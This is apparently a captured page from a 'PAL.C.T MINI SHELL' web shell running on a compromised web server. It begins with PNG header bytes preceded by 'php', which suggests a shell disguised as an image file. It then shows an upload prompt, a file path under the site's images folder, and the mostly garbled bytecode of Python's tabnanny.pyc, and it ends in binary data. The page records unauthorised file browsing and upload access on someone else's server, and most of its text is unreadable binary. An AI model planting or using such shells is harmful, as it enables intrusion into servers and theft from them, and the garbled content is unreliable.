php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/lib/python2.6/
upload
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/lib/python2.6/tabnanny.pyc

Lc@sdZdZddkZddkZddkZddkZeedpedndddgZd	a	d	a
d
ZdZde
fdYZd
ZdddYZdZdZedjoendS(sThe Tab Nanny despises ambiguous indentation.  She knows no mercy.

tabnanny -- Detection of ambiguous indentation

For the time being this module is intended to be called as a script.
However it is possible to import it into an IDE and use the function
check() described below.

Warning: The API provided by this module is likely to change in future
releases; such changes may not be backward compatible.
t6iNtNLs4tokenize.NL doesn't exist -- tokenize module too oldtchecktNannyNagtprocess_tokensicGsKd}x.|D]&}tii|t|d}q
WtiiddS(Ntt s
(tsyststderrtwritetstr(targstseptarg((s/usr/lib/python2.6/tabnanny.pyterrprint#s
c
Csy#titidd\}}Wn#tij
o}t|dSXxJ|D]B\}}|djotdan|djotdaqPqPW|ptdtidddSx|D]}t|qWdS(Nitqvs-qs-vsUsage:is[-v] file_or_directory ...(tgetoptRtargvterrorRt
filename_onlytverboseR(toptsRtmsgtotaR
((s/usr/lib/python2.6/tabnanny.pytmain*s"#


cBs2eZdZdZdZdZdZRS(sg
    Raised by tokeneater() if detecting an ambiguous indent.
    Captured and handled in check().
    cCs!||||_|_|_dS(N(tlinenoRtline(tselfRRR((s/usr/lib/python2.6/tabnanny.pyt__init__AscCs|iS(N(R(R((s/usr/lib/python2.6/tabnanny.pyt
get_linenoCscCs|iS(N(R(R((s/usr/lib/python2.6/tabnanny.pytget_msgEscCs|iS(N(R(R((s/usr/lib/python2.6/tabnanny.pytget_lineGs(t__name__t
__module__t__doc__RRRR (((s/usr/lib/python2.6/tabnanny.pyR<s
			c	CsOtii|otii|otod|fGHnti|}xu|D]m}tii||}tii|otii|ptii|ddjot|qTqTWdSyt	|}Wn*t
j
o}td||fdSXtdjo
d|GHnytt
i|iWnt
ij
o}td||fdStj
o}td	||fdStj
o}|i}|i}to*d
||fGHd|fGH|iGHnCd|jod
|d
}nto	|GHn|G|Gt|GHdSXtod|fGHndS(s~check(file_or_dir)

    If file_or_dir is a directory and not a symbolic link, then recursively
    descend the directory tree named by file_or_dir, checking all .py files
    along the way. If file_or_dir is an ordinary Python source file, it is
    checked for whitespace related problems. The diagnostic messages are
    written to standard output using the print statement.
    s%r: listing directoryis.pyNs%r: I/O Error: %sischecking %r ...s%r: Token Error: %ss%r: Indentation Error: %ss)%r: *** Line %d: trouble in tab city! ***soffending line: %rRt"s%r: Clean bill of health.(tostpathtisdirtislinkRtlistdirtjointnormcaseRtopentIOErrorRRttokenizetgenerate_tokenstreadlinet
TokenErrortIndentationErrorRRR RRtrepr(	tfiletnamestnametfullnametfRtnagtbadlineR((s/usr/lib/python2.6/tabnanny.pyRJsT
'


	t
WhitespacecBsSeZd\ZZdZdZdZdZdZdZ	dZ
RS(s 	c	Cs||_titi}}g}d}}}x|iD]}||jo|d}|d}q:||jof|d}|d}|t|jo#|dg|t|d}n||d||<d}q:Pq:W||_||_t||f|_t|dj|_	dS(Nii(
trawR;tStTtlentntntttupletnormt	is_simple(	RtwsR=R>tcounttbR@RAtch((s/usr/lib/python2.6/tabnanny.pyRs*	





#
		cCs&|i\}}tt|d|S(Ni(RCtmaxR?(RRFttrailing((s/usr/lib/python2.6/tabnanny.pytlongest_run_of_spacesscCs^|i\}}d}x3t|t|D]}|||||}q+W||||iS(Ni(RCtrangeR?RA(RttabsizeRFRJtilti((s/usr/lib/python2.6/tabnanny.pytindent_levelscCs|i|ijS(N(RC(Rtother((s/usr/lib/python2.6/tabnanny.pytequalscCst|i|id}g}xftd|dD]Q}|i||i|jo,|i||i||i|fq9q9W|S(Ni(RIRKRLRPtappend(RRQR@Rtts((s/usr/lib/python2.6/tabnanny.pytnot_equal_witnesss	cCs|i|ijotS|io|io|i|ijSt|i|id}x?td|dD]*}|i||i|jotSqpWtS(Nii(	R@tFalseRDRARIRKRLRPtTrue(RRQR@RT((s/usr/lib/python2.6/tabnanny.pytlesss	cCst|i|id}g}xftd|dD]Q}|i||i|jo,|i||i||i|fq9q9W|S(Ni(RIRKRLRPRS(RRQR@RRT((s/usr/lib/python2.6/tabnanny.pytnot_less_witnesss	(R!R"R=R>RRKRPRRRURXRY(((s/usr/lib/python2.6/tabnanny.pyR;s						cCsNtd|}d}t|djo|d}n|ddi|S(NcSst|dS(i(R
(ttup((s/usr/lib/python2.6/tabnanny.pyt<lambda>ssat tab sizeitsRs, (tmapR?R*(twtfirststprefix((s/usr/lib/python2.6/tabnanny.pytformat_witnesses
s
cCsti}ti}ti}titif}tdg}d}xN|D]F\}}}	}
}||jo
d}qI||jotd}t|}|di|p=|di|}
dt	|
}t
|	d||n|i|qI||jod}|d=qI|ot||jogd}t|}|di|p=|di
|}
dt	|
}t
|	d||qqIqIWdS(NRiiisindent not greater e.g. sindent not equal e.g. (R.tINDENTtDEDENTtNEWLINEtCOMMENTRR;RXRYRaRRSRRRU(ttokensRbRcRdtJUNKtindentstcheck_equalttypettokentstarttendRtthisguytwitnessR((s/usr/lib/python2.6/tabnanny.pyRs8			



t__main__((R#t__version__R%RRR.thasattrt
ValueErrort__all__RRRRt	ExceptionRRR;RaRR!(((s/usr/lib/python2.6/tabnanny.pyt<module>
s&			:		7

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`